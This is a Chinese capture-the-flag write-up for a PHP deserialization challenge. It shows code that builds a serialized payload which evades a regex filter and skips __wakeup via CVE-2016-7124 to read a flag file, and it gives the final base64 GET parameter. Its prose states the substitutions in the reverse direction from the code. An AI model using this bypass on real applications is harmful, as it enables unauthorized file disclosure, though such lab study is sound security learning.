zoukankan      html  css  js  c++  java
  • 攻防世界-web-高手进阶区012-Web_php_unserialize

    1.审计代码,构造payload,代码生成对象的序列化

    <?php

    class Demo {

        private $file = 'index.php';

        public function __construct($file) {

            $this->file = $file;

        }

        function __destruct() {

            echo @highlight_file($this->file, true);

        }

        function __wakeup() {

            if ($this->file != 'index.php') {

                //the secret is in the fl4g.php

                $this->file = 'index.php';

            }

        }

    }

        $A = new Demo('fl4g.php');

        $b = serialize($A);

        //string(49) "O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}"

        $b = str_replace('O:4', 'O:+4',$b);//绕过preg_match

        $b = str_replace(':1:', ':2:',$b);//绕过wakeup

       //string(49) "O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}"

        echo (base64_encode($b));

    //TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

     ?>

     

    2.+4替换成4是为了绕过preg_match的正则表达式

    同样的把2替换成1是利用了CVE-2016-7124的漏洞,即当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

    最后按照题目的意思encode一下base64就获取反序列化的结果,get传参即可

    ?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

     


  • 相关阅读:
    python 编码与解码
    python 写文件
    python 文件读写
    python 异常处理
    python 断言
    C++的可移植性和跨平台开发
    Python中subprocess学习
    Python 的web自动化测试
    CookieJar和HTTPCookieProcessor
    python3爬虫
  • 原文地址:https://www.cnblogs.com/joker-vip/p/12482066.html
Copyright © 2011-2022 走看看